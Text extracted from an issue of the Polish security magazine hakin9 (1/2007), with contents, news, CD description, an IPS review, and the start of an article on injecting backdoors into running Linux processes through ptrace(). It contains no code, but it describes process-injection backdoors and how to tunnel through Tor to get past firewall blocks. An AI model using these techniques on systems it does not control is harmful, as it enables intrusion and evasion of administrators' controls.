4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Piotr przedstawia garść najciekawszych wiadomo-

ści ze świata bezpieczeństwa systemów informa-

tycznych.

Zawartość CD – hakin9.live

Emilia Godlewska

Emilia opisuje zawartość i sposób działania najnow-

szej wersji naszej sztandarowej dystrybucji haki-

n9.live

Sprzęt

IPS Broad Web NetKeeper

Jakub Wojnowski

Kuba przetestował narzędzie dystrybuowane przez

Dagmę. Przedstawia w jaki sposób urządzenie zneu-

tralizowało przeprowadzone ataki.

Atak

Hakowanie aplikacji -

Rootkity i Ptrace

Stefan Klaas

Stefan uczy jak rozumieć wywołanie systemo-

we ptrace() oraz w jaki sposób używać go w celu

zmiany przepływu sterowania uruchomionych pro-

gramów poprzez wstrzykiwanie własnych instrukcji
do pamięci procesu.

Schellcody nowej generacji

Itzik Kotler

Itzik opisuje przeszkody jakie spotyka n apastnik pró-

bujący uruchomić kod powłoki na systemie będącym

celem ataku oraz jak wyglądają sposoby obejścia tych

przeszkód.

10

06

08

12

26

Co dwie głowy to nie jedna

a co w przypadku kiedy

tych głów jest więcej?

O

ddajemy Wam do rąk pierwszy numer Hakin9u

miesięcznika. Nie będziecie musieli już czekać na

Wasze ulubione pismo aż dwa miesiące tylko mie-

siąc a zatem w ciągu roku będzie dwa razy więcej do poczy-

tania. To dobra wiadomość, którą nagradzamy wszystkich

tych czytelników, którzy są z nami od początku.

Pracujemy również nad poprawieniem jakości dla-

tego specjalnie dla Was tworzymy Radę Programową.

W zespole mamy już Macieja Szmita. Jest członkiem

International Computer Games Association, Naukowego

Towarzystwa Informatyki Ekonomicznej, Polskiego Towa-

rzystwa Informatycznego oraz Polskiego Towarzystwa

Użytkowników Produktów Novella.

Jego dorobek publikacyjny obejmuje osiemdziesiąt

publikacji (w tym ponad dwudzieścia publikacji nauko-

wych, autorstwo trzech i współautorstwo dwóch ksią-

żek oraz kilku rozdziałów w monografiach). Od 1996 roku

współpracuje z Wydawnictwem Software jako autor szere-

gu artykułów publikowanych w pismach „Boston IT Securi-

ty Review”, „Software Developer’s Journal” oraz „Hakin9”

(w edycjach: polskiej, czeskiej, francuskiej, hiszpańskiej,

angielskiej, włoskiej i niemieckiej), recenzent oraz redak-

tor prowadzący numerów poświęconych sztucznej inte-

ligencji (numer z lutego 2004 wydany w języku polskim

oraz numer Software Extra z lipca 2004 wydany w języ-

kach: polskim, hiszpańskim, niemieckim i francuskim).

Do Rady Programowej zapraszamy wybitne osobistości

by decydowały o najlepszych materiałach, które z miesią-

ca na miesiąc będziemy Wam przekazywać. Jeżeli chcecie

rekomendować kogoś do Rady Programowej Hakin9u pisz-

cie do nas.

Jak zwykle ciekawi jesteśmy Waszych opinii. Piszcie

śmiało: [e-mail] i do zobaczenia już za miesiąc.

Sylwia Pogroszewska

http://www.buyitpress.com

4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit, Mariusz Tomaszewski

Maciek i Mariusz przedstawiają zapobieganie złośli-
wym m-routerom, omawiają ich wady.

Wszystko o NAT

Konrad Malewski

Konrad wyjaśnia metody, dzięki którym można utwo-

rzyć połączenie pomiędzy komputerami znajdujący-
mi się w różnych sieciach lokalnych.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

Pierpaolo i Matteo omawiają działanie Snort_inline
i podstawy zapobiegania włamaniom do systemów.

Rozwiązania DTM

Łukasz Bromirski

Łukasz prezentuje jak wygląda architektura DTM

Cisco oraz jakie elementy powinieneś zastosować

w Sieci, by rozwiązanie spełniało swoje zadanie.

Wywiad

Peter Fleischer

Marta Ogonek

Peter Fleischer, kieruje pracami Google w zakresie

ochrony prywatności w regionie EMEA.

Zapowiedzi

Emilia Godlewska

Emiia zapowiada artykuły, które znajdą się w następ-

nym wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska [e-mail]

Redaktor: Emilia Godlewska

Tłumaczenie: Rafał Kocisz

Wyróżnieni betatesterzy: Łukasz Witczak, Mateusz Lipiński,

Bartosz Sidzina

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska [e-mail]

Skład i łamanie: Sławomir Zadrozny [e-mail]

Artur Wieczorek [e-mail]

Okładka: Agnieszka Marchocka

Dział reklamy: [e-mail]

Prenumerata: Marzena Dmowska [e-mail]

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. [phone], Fax [phone]

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

[e-mail]

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: [e-mail]

tel.: [phone]

fax: [phone]

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

70

58

78

82

42

36

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Ekstradycja UFO-hackera

Gary McKinnon, brytyjski niedo-

szły fryzjer i script-kiddie, który po-

nad rok temu włamał się na serwe-

ry Pentagonu, może zostać potrak-

towany jako terrorysta. Wielka Bry-

tania podpisała zgodę na jego eks-

tradycję do USA.

Gary złożył już apelację, twierdząc,

że Amerykanie sfabrykowali więk-

szość dowodów w jego sprawie.

Dziwnym trafem, wycena strat spo-

wodowanych przez intruza na każ-

dym z serwerów równa była kwo-

cie 5 tys. dolarów, czyli wartości, od

której wedle amerykańskiego prawa

można ubiegać się o ekstradycję.

McKinnon, za pomocą pożyczo-

nego od byłej dziewczyny kompute-

ra, spenetrował kilkanaście serwe-

rów należących do rządu USA. We

włamaniach pomogły mu znalezio-

ne w sieci programy.

Motywem, jakim kierował się Ga-

ry, było poszukiwanie dowodów na

istnienie cywilizacji pozaziemskiej

oraz materiałów świadczących

o wykorzystywaniu przez USA na-

pędów antygrawitacyjnych.

McKinnon, w kilkunastu wywia-

dach udzielonych od momentu jego

schwytania, opowiadał o fatalnym

stanie zabezpieczeń na serwerach

rządowych USA. Gary miał pozy-

skiwać tajne informacje wojskowe

forsując tak zaawansowane barie-

ry, jak na przykład puste hasła ad-

ministratora. Anglika zgubił fakt po-

zostawienia notki informującej o lu-

kach w zabezpieczeniach, wprost

na pulpicie rządowej maszyny, do

której udało mu się dostać.

Nokia i Snort

Fiński koncern Nokia poinformował

o nawiązaniu współpracy z firmą So-

urcefire, producentem powszechnie

znanego wśród specjalistów od za-

bezpieczeń narzędzia Snort.

Nokia działa nie tylko na rynku te-

lefonii komórkowej. Firma dostar-

cza także zintegrowane platformy

zabezpieczeń sieci.

Snort to opensource'owy program,

którego zadaniem jest monitorowa-

nie i analiza ruchu sieciowego pod

kątem symptomów charakterystycz-

nych dla włamań. Jego twórca, Mar-

tin Roesch, nie ukrywał, że oferty

współpracy składały mu (oprócz No-

kii) także inne, znane w sieciowym

światku firmy, z Cisco na czele. Za-

pewnia, że wybrana oferta jest naj-

korzystniejszą nie tylko dla niego, ale

i dla Snorta.

Luka, której nie było?

T

egoroczna konferencja ToorCon
zostanie w pamięci nie tylko jej

uczestników, ale także milionów użyt-
kowników przeglądarki Firefox. Dwój-
ka prelegentów, Andrew Wbeelsoi
i Mischa Spiegelmock, oświadczy-
ła podczas swojego wykładu, że jest
w posiadaniu exploita na poważną lu-
kę w przeglądarce Firefox. Z racji po-
pularności, jaką cieszy się ta prze-
glądarka internetowa, systematycz-
nie „przeciągająca” na swoją stronę
coraz więcej użytkowników Internet
Explorera, wiadomość o dziurze odbi-
ła się głośnym echem po całym inter-
necie. Przez kilka dni serwisy informa-
cyjne jak i blogosfera trąbiły o domnie-
manych błędach w Firefoksie i jako-
by fatalnym stanie implementacji ca-
łej obsługi JavaScript. Oliwy do ognia
dolewał brak pełnego kodu eksploita.
Hackerzy w czasie swojej prezentacji
ujawnili jedynie jego fragmenty.

Nie ma się co dziwić, że najbar-

dziej zdenerwowało to odpowiedzial-
nych za bezpieczeństwo przeglądarki
pracowników fundacji Mozilla. Szefo-
wa Mozilli ds. bezpieczeństwa, Win-
dow Synder, mimo iż podejrzewała
opisaną dziurę jako wariant jednej ze
znanych już luk, oświadczyła, że nie-
odpowiedzialnym jest podawanie te-
go typu informacji opinii społecznej,
gdyż zachodzi ryzyko niemalże na-
tychmiastowego wykorzystania dziu-
ry przez cyberprzestępców.

Jakby tego było mało, w czasie pre-

zentacji wspomniano o istnieniu ko-

lejnych trzydziestu błędów w przeglą-
darce Firefox. Co więcej, hackerzy nie
zamierzali ich ujawniać. Nie ukrywali
również, że mają zamiar wykorzystać
znalezione błędy we własnych celach
(sic!). Andrew i Mischa odrzucili tym
samym ofertę Mozilli, która za znalezie-
nie poważnego błędu w kodzie Firefok-
sa płaci programistom 500 dolarów.

Wkrótce po burzy, jaka rozpętała

się w mediach, nadszedł czas skru-
chy. Mischa wystosował oświadcze-
nie, w którym przeprosił wszystkich
za zamieszanie wywołane prezenta-
cją. Hacker podkreślał, że prezenta-
cja miała być w dużej mierze humo-
rystyczna. Mischa przyznał także, iż
pomimo wielu prób nie udało mu się
przedstawionej na konferencji dziury
wykorzystać do zdalnego wykonania
kodu, a następnie zaprzeczył, jakoby
był w posiadaniu informacji dotyczą-
cych 30 kolejnych dziur w kodzie Fire-
foksa. Zarówno Mischa jak i Window
potwierdzili, że odpowiednie wykorzy-
stanie luki powoduje nagłe zamknięcie
przeglądarki i wyczerpanie zasobów
maszyny, a sama dziura była wcze-
śniej znana programistom Mozilli.

W całym tym zamieszaniu nale-

ży pochwalić szybką reakcje pracow-
ników Mozilli, którzy nie zlekcewa-
żyli możliwości zagrożenia i błyska-
wicznie podjęli procedury dążące do
wyjaśnienia całej sprawy, działając
zgodnie z przekonaniem, że bezpie-
czeństwo użytkowników jest najważ-
niejsze.

Uważaj na hakerów odbierając SMS

K

omenda Główna Policji na stro-
nach internetowych zaczęła

ostrzegać obywateli przed phishin-
giem. Akcja przeprowadzana przez
policję jest profesjonalna, a co więcej,
materiały zostały napisany w sposób
łatwy do przyswojenia nawet przez
mniej zaawansowanych użytkowni-
ków komputera. Policjanci porusza-
ją tematy podrobionych stron banko-
wych i metod, jakimi cyberprzestęp-
cy starają się zachęcić nas do poda-
nia im prawdziwych danych. Oprócz

standardowego wysyłania e-maili
zachęcających do kliknięcia w lin-
ki, funkcjonariusze opisali także nowe
metody przestępców bazujące na ko-
munikacji przez telefon – i chodzi tu
zarówno o rozmowę, jak i przesyłanie
wiadomości SMS. Policja wypunkto-
wała także listę dobrych zwyczajów,
których przestrzeganie powinno zaosz-
czędzić internautom wielu kłopotów.
Więcej szczegółów na stronie http://

www.policja.pl/index.php?dzial=1&id

=3405

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Usuń sobie DRM

Od złamania systemu MS DRM (Mi-

crosoft Digital Rights Management)

przez hackera, przedstawiającego

się jako Beale Screamer minęło już

kilka lat. W tym czasie system DRM

doczekał się kolejnych wersji, popra-

wiających niedociągnięcia. Jednak

ostatnio w sieci pojawił się program

FairUse4WM służący do zdejmowa-

nia zabezpieczeń z plików muzycz-

nych chronionych DRM-em w wer-

sji 10 i 11. Graficzny interfejs aplika-

cji sprawia, że zabezpieczenia przed

kopiowaniem mogą zdejmować oso-

by nieposiadające specjalistycznej

wiedzy na temat DRM.

Viodentia, autor programu, nie za-

chęca do piractwa i oświadczył, ze

narzędzie powstało, by umożliwić

użytkownikom kopiowanie muzy-

ki z zabezpieczonych plików w ra-

mach dozwolonego prawem użytku

prywatnego. Jest to bunt przeciw-

ko serwisom muzycznym, zwłasz-

cza tym, które sprzedają prawa do

słuchania utworów, ale tylko wtedy,

kiedy użytkownik posiada aktywne

(obarczone comiesięczną opłatą)

konto w serwisie.

Innego zdania jest Microsoft,

który złożył pozew przeciwko au-

torowi oprogramowania usuwają-

cego DRM. Co ciekawe, Microsoft

oskarża hakera nie o złamanie za-

bezpieczeń, ale o nielegalne po-

zyskanie kodu źródłowego pro-

duktów Microsoftu, bez którego

– zdaniem firmy – Viodencie nie

udałoby się złamać DRM.

Dziurawe OpenSSL

Wraz z końcem września udostęp-

niono łaty na cztery luki w znanym

pakiecie OpenSSL.

Jak donoszą specjaliści do spraw

bezpieczeństwa, dwie ze znalezio-

nych dziur są poważne. Pierwsza

dotyczy błędu w praserze ASN.1,

który za pomocą specjalnego kodu

można wprowadzić w nieskończo-

ną pętle, zużywając tym samym

całkowite zasoby pamięci.

Druga poważna luka to błąd

w funkcji SSL_get_shared_ciphers

umożliwiający atak przepełnienia

buforu. Trzecia, mniej groźna dziu-

ra dotyczy złej konfiguracji serwe-

ra OpenSSL, mogącej wpłynąć na

niestabilność pracy klienta.

Administratorów serwerów korzy-

stających z OpenSSL zachęcamy

do jak najszybszego zainstalowa-

nia poprawek dostępnych na stro-

nie http://www.openssl.org/.

Policja zatrzymała serwery TOR

T

he Onion Routing to stworzona
przez Electronic Frontiers Founda-

tion sieć niekomercyjnych, często pry-
watnych serwerów, tworzących wirtual-
ną sieć połączeń i umożliwiająca swo-
im użytkownikom anonimowe korzysta-
nie z zasobów Internetu. TOR wykorzy-
stywany jest przez dziennikarzy lub dy-
sydentów w celu ominięcia cenzury lub
zatarcia za sobą śladów po publika-
cji niewygodnych wiadomości. Z sieci
TOR korzystają także agencje rządo-
we, które obserwując pewne strony in-
ternetowe, nie chcą w logach pozosta-
wiać śladu swojego adresu IP. Niemiec-
ka policja, prowadząca dochodzenie w
sprawie dziecięcej pornografii, w cza-
sie jednego z przeszukań zatrzyma-
ła także sześć serwerów działających
w systemie TOR. Jak donoszą opera-
torzy przejętych przez policję serwe-
rów, nie zostali oni zatrzymani, ani nie
postawiono im zarzutów. Początko-
wo media informowały, że najazd poli-
cji wymierzony był również w sieć TOR,
postrzeganą przez niektórych jako nie-
wygodny (bo nie dający łatwo zidenty-

fikować użytkownika) zalążek anarchii
w sieci. Opiekunowie projektu zdemen-
towali jednak te pogłoski, tłumacząc,
że najprawdopodobniej jeden z tropio-
nych przez policję pedofilów mógł wy-
korzystać TOR do zestawienia połą-
czenia. TOR posiada także inną, ma-
ło znaną zaletę. Korzystając z jego za-
sobów, przy odpowiedniej konfiguracji
klienta, możemy ominąć restrykcje fi-
rewalla naszej sieci. Jeśli tylko mamy
dostęp do portu 80 – możemy tunelo-
wać połączenia dla usług działających
na innych portach – np. Jabbera lub
SSH. Czasem – trzeba przyznać – na-
wet na bardzo dobrym łączu nie jest to
szybkie rozwiązanie, gdyż cebulowy
routing implementowany przez TOR
i połączenia przekazywane przez kil-
ka serwerów dodają sporo opóźnienia
do ruchu pakietów. Ale coś za coś – je-
śli administrator zablokował nam jakąś
usługę – na przykład połączenia FTP,
a my koniecznie musimy z niej skorzy-
stać – warto przecierpieć opóźnienia w
ruchu i powolny transfer, by móc w koń-
cu użyć upragnionej usługi.

W

e wrześniu amerykański sąd
okręgowy w Illinois nakazał

właścicielom Spamhaus.org wypła-
tę niebagatelnej kwoty 11 mln dola-
rów odszkodowania na rzecz firmy
e360insight, która wg ustaleń wymia-
ru sprawiedliwości niesłusznie znala-
zła się na liście spamerów tworzonej
przez Spamhaus. Spamhaus nie wy-
płacił odszkodowania, ponieważ fir-
ma nie znajduje się w Stanach Zjed-
noczonych a na terenie Wielkiej Bry-
tanii, zatem wyroki sądu w USA jej
nie dotyczą. Co więcej, Spamhaus
nie usunęła firmy e360insight ze swo-
ich list. Paradoksalnie, bezsilność
amerykańskiego wymiaru sprawiedli-
wości zmotywowała go do działania.
Sąd postanowił złożyć wniosek o za-
wieszenie domeny spamhaus.org do
organizacji ICANN, ta jednak oznaj-
miła, że nie jest stroną w sporze
i nie ma obowiązku wykonywać żad-
nych sugestii sądu. Chęć zniszczenie

Kto tu jest spamerem?

Spamhaus dziwi niektórych specjali-
stów do spraw bezpieczeństwa. Są
oni zdania, że niedostępność list spo-
rządzanych przez Spamhaus może
spowodować zalew milionów skrzy-
nek pocztowych niechcianą pocztą,
która obecnie – właśnie dzięki listom
– jest blokowana.

Całą akcję wymiaru sprawiedli-

wości oceniają jako elektroniczne sa-
mobójstwo, zwłaszcza, że ze Spam-
haus.org korzysta wiele znanych or-
ganizacji, w tym także Biały Dom
czy amerykańskie siły zbrojne. Od-
miennego zdania są naukowcy, któ-
rzy przy ocenie sytuacji uwzględnili
ogrom informatycznej wiedzy posia-
danej przez administratorów korzy-
stających z baz Spamhaus. Uczeni
sądzą, że nawet po zamrożeniu stro-
ny WWW oskarżonej organizacji, ko-
rzystający z jej usług administratorzy
szybko znajdą inne strony udostęp-
niające do pobrania te same listy.

hakin9.live

hakin9 Nr1/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się hakin9.
live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzę-

dzia, dokumentację, tutoriale i materiały dodatkowe do
artykułów. Aby zacząć pracę z hakin9.live, wystarczy
uruchomić komputer z CD1. Po uruchomieniu systemu
możemy zalogować się jako użytkownik hakin9 bez po-
dawania hasła.

Materiały dodatkowe zostały umieszczone w nastę-

pujących katalogach:

• tut – 24 tutoriale w tym jeden nowy: „Sieci nie lokalne”;
• Aurox-Live;
• HIT – Outpost PRO Firewall, Qengine Issue Manager

4.0, Kaspersky Anti-Spam 3.0;

• applications – programy;
• doc – indeks;
• pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest do-
stępna z podkatalogu /mnt/cdrom.

Wersję hakin9.live 3.1-aur zbudowaliśmy, opiera-

jąc się o dystrybucję Aurox i skrypty automatycznej ge-
neracji (www.aurox.org/pl/live). Narzędzia dystrybucji,
które nie znajdują się na dołączonej do pisma płycie,
instalowane są z repozytorium Auroxa za pomocą pro-
gramu yum.

W porównaniu z hakin9.live 2.9.1-ng zasadniczą

zmianą jest oparcie systemu na dystrybucji Aurox Li-
ve 11.1. oraz przejście z Fluxboksa na środowisko gra-
ficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Li-
nuksa stron pomocy (stron manualna), z których sko-
rzystać możemy poprzez konsolę wydając polecenie
man [nazwa programu], wchodzą między innymi tuto-
riale, przygotowane przez redakcję.

Na CD opracowane zostały praktyczne ćwiczenia

do jendego artykułu – Sieci nie lokalne, który można
przeczytać w piśmie. Zakładamy, że podczas wykony-
wania ćwiczeń związanych z artykułami i tutorialami,
użytkownik korzysta z hakin9.live. Dzięki temu unik-
nie problemów związanych z różnymi wersjami kom-
pilatorów, inną lokalizacją plików konfiguracyjnych czy
opcjami niezbędnymi do uruchomienia programu w da-
nym środowisku. hakin9.live został przygotowany pod
kątem tych ćwiczeń i zawiera wszystkie wymagane
aplikacje.

Zawartość CD

Qengine IssueManager 4.0

QIM jest stuprocentowo webowym oprogramowaniem
do zarządzania rozwiązywaniem problemów, które
oferuje funkcjonalność zarządzania poprawianiem błę-
dów, zarządzania projektem, ulepszeniami, defektami
i elementy zarządzania zadaniami. Dostarcza kontro-
le dostępu zależna od roli w projekcie, obsługę załącz-
ników, zarządzanie terminarzem, automatyczne notyfi-
kacje przez emalia. Zarządzanie czasem pracy, reguły
biznesowe, aktywna identyfikacji w kartotece, dołącza-
nie zrzutów ekranu, łatwe raportowanie i szerokie moż-
liwości dostosowań.

Outpost PRO Firewall

Outpost Firewall jest osobistym systemem zaporo-
wym chroniącym komputer użytkownika przed ataka-
mi podczas połączenia z Internetem (ataki hakerów,
włamania, konie trojańskie itp.). Dodatkowy moduł an-
tyspyware chroni w czasie rzeczywistym przed ataka-
mi programów szpiegowskich. Program jest dostępny
w polskiej wersji językowej.

Outpost kontroluje zarówno połączenia przycho-

dzące jak i wychodzące, dzięki czemu każda pró-
ba kradzieży poufnych danych będzie zablokowana.
W sieci firmowej zapewnia szczególną ochronę notebo-
oków, wynoszonych zwykle poza obręb firmy i łączących
się z Internetem z niechronionych lokalizacji. Outpost po-
zwala również na blokowanie dostępu do określonych
stron internetowych (według adresu lub treści strony).

Specjalny moduł „Ochrona prywatnych informacji”

blokuje wysłanie poufnych danych zapewniając dodatko-
wą ochronę haseł do kont bankowych lub numerów kart
kredytowych. Zaawansowanym użytkownikom Outpost
pozwala na konfigurowanie dowolnych reguł oraz posze-
rzanie funkcjonalności poprzez dodatkowe wtyczki (np.
blokowanie reklam).

Kaspersky Anti-Spam 3.0

Kaspersky Anti-Spam chroni przed niechcianą korespon-
dencją elektroniczną (spamem). Pozwala na wyelimino-
wanie niechcianych wiadomości e-mail z ruchu poczto-
wego. Rozwiązanie wykorzystuje inteligentną technolo-
gię wykrywania spamu i powstało na bazie wieloletnie-
go doświadczenia ekspertów z Kaspersky Lab w projek-
towaniu systemów chroniących ruch pocztowy w środo-
wiskach korporacyjnych. Kaspersky Anti-Spam walczy
ze spamem korzystając z wielopoziomowego filtrowa-
nia wiadomości e-mail. Analiza lingwistyczna może auto-
matycznie przetwarzać wiadomości i odrzucać niechcia-
ną korespondencję. Ponadto rozwiązanie jako jedyne na
rynku analizuje spam powstający w języku rosyjskim.

hakin9 Nr 1/2007

www.hakin9.org

9

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: [e-mail]

10

Sprzęt

hakin9 Nr 1/2007

www.hakin9.org

Urządzenie Broad Web Netkeeper, bo o nim mowa jest
systemem IPS (Intrusion Prevention System). Oznacza
to dokładnie tyle, że podobnie jak rozwiązania typu IDS,
NetKeeper potrafi wykrywać ataki, w odróżnieniu jednak
od systemów IDS potrafi również te ataki automatycznie
blokować. Jest zatem połączeniem klasycznych IDS'ów
z firewallem.

Istnieje jednak różnica pomiędzy sposobem filtrowa-

nia pakietów przez NetKeepera a zwykły firewall. Więk-
szość zapór ogniowych filtruje ruch w sieci na podsta-
wie informacji o pakietach: adres źródłowy, docelowy,
port, protokół, nie mają natomiast wpływu zawartość
pakietów (wynika to z faktu, że działają na 4 warstwie
system OSI). Netkeeper natomiast potrafi kontrolować
ruch w sieci na podstawie zawartości poszczególnych
pakietów, dzięki czemu jest w stanie wykryć np. exploity
i złośliwe robaki i wirusy internetowe.

Sercem NetKeepera jest dedykowany procesor firmy

BroadWeb, dzięki któremu jest on w stanie obsłużyć
nawet sieci o bardzo dużych przepustowościach.

NetKeeper pracuje w trybie in-line dzięki czemu nie

ma możliwości pominięcia przez niego żadnego pakietu
w sieci. Sprawia to, że skutecznie radzi on sobie z ataka-
mi np. SQL Slammer.

System stosuje różne metody identyfikacji ataków:

np. na podstawie analizy statystycznej czy z wbudowa-
nej bazy sygnatur ataków. Urządzenie posiada również
proste narzędzie do tworzenia własnych sygnatur.

NetKeeper filtruje ruch na podstawie predefiniowa-

nych polityk. Posiada on ok dwóch tysięcy zdefiniowa-
nych reguł, na podstawie których można budować polity-
kę bezpieczeństwa sieci.

Urządzenie posiada również możliwość blokowa-

nia aplikacji typu peer-to-peer oraz instant messaging
i dostępu do wybranych przez administratora usług (np.
chat) i stron internetowych.

O skuteczności produktu świadczy zresztą fakt, że

NetKeeper jako jeden z pierwszych uzyskał prestiżo-
wy certyfikat ICSA Labs potwierdzający zaawansowane
możliwości ochrony sieci firmowej przed włamaniami.

Podczas testów urządzenie zneutralizowało

wszystkie z przeprowadzanych ataków, w tym ataki
typu DoS. Zestaw narzędzi użyty do testów zawie-

rał‚ m.in. Tomahawk narzędzie służące do testowa-
nia urządzeń IPS, zestaw testów penetracyjnych Core
Impact, oraz skrypty specjalnie przygotowane przez
programistów ICSA. Ataki ukryte zostały w tysiącach
gigabajtów legalnego ruchu kierowanego na serwery
Cybertrust przez jego partnerów handlowych, którzy
wzięli udział w teście.

Reasumując NetKeeper jest bardzo udanym produktem,

godnym polecenia każdemu ceniącemu sobie bezpieczeń-
stwo administratorowi sieci. Do plusów NetKeepera należy z
pewnością zaliczyć pracę w trybie in-line, analizę zawartości
pakietów i dużą liczbę wykrywanych ataków oraz mnogość
zdefiniowanych reguł filtrowania ruchu.

Producentem urządzenia NetKeeper jest firma Bro-

adWeb (http://www.broadweb.com/) a dystrybutorem
na Polskę jest Dagma (http://www.dagma.pl).

Aurox Core Team przetestował urządzenie IPS Broad Web NetKeeper, które
służy ochronie oraz podniesieniu bezpieczeństwa Sieci.

Recenzja urządzenia

IPS Broad Web NetKeeper

W Sieci

Pełny raport z przeprowadzonych przez ICSA testów znajdu-
je się pod adresem:

http://www.icsalabs.com/icsa/docs/html/communities/nips/
certifiedproducts/BroadWeb_NetKeeper_3256P_NIPS_
report_060626.pdf

www.hakin9.org

hakin9 Nr 1/2007

12

Atak

D

otychczas nie znaliśmy zbyt wie-
le dostępnych publicznie funkcji
nadpisujących kod. Jest trochę ko-

du w „podziemiu”, który nie jest publicznie
udostępniony z powodu przeterminowania
(10.2006) i nie ma też dobrych dokumen-
tów opisujących tą technikę, dlatego obja-
śnię ją. Jeśli znasz już ptrace(), ten arty-
kuł powinien Cię również zainteresować,
bo zawsze to dobrze jest się nauczyć no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną część stosu? Zatem czytaj czytaj dalej,
bo przedstawię w szczegółach, jak to zro-
bić. Zastrzegam też, że użyłem następują-
cych wersji gcc:

gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)

Kompilujemy zawsze prostą metodą gcc file.c

-o output; nie trzeba żadnych flag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.

Objaśnienie funkcji ptrace()

Funkcja

ptrace()

jest bardzo użyteczna przy

debugowaniu. Używa się jej do śledzenia pro-
cesów.

Wywołanie systemowe

ptrace()

dostar-

cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów

Hakowanie aplikacji

Rootkity i Ptrace

Stefan Klaas

stopień trudności

Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny

dla Linuksa i potrzebna jest pewna wiedza o programowaniu w

ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych

technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i

prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej

funkcji i nauczymy się, jak pisać własne furtki.

Z artykułu dowiesz się...

• należy rozumieć wywołanie systemowe

ptrace

();

• używać go w celu zmiany przepływu stero-

wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.

Powinieneś wiedzieć...

• należy być obytym ze środowiskiem Linuksa,

jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

13

zatrzymania podczas debugowania
i śledzenia wywołań systemowych.

Proces nadrzędny może zainicjo-

wać śledzenie poprzez wywołanie

fork()

i nakazanie procesowi potom-

nemu wykonania

PTRACE _ TRACEME

, a

po nim (zazwyczaj)

exec

. Ewentual-

nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem

PTRACE _ ATTACH

.

Proces potomny, gdy jest śle-

dzony, zatrzyma się za każdym ra-
zem, gdy dostanie sygnał, nawet
jeśli sygnał ma ustawione ignoro-
wanie (poza

SIGKILL

, który kończy

się zawsze tak samo). Proces nad-
rzędny będzie notyfikowany w na-
stępnym miejscu oczekiwania i mo-
że przeglądać i modyfikować pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzędny następnie
każe procesowi potomnemu kon-
tynuować wykonanie, opcjonalnie
ignorując dostarczony sygnał (al-
bo nawet dostarczając mu inny sy-
gnał).

Gdy proces nadrzędny zakoń-

czy śledzenie, może przerwać pro-
ces potomny przez

PTRACE _ KILL

,

albo nakazać kontynuację wykony-
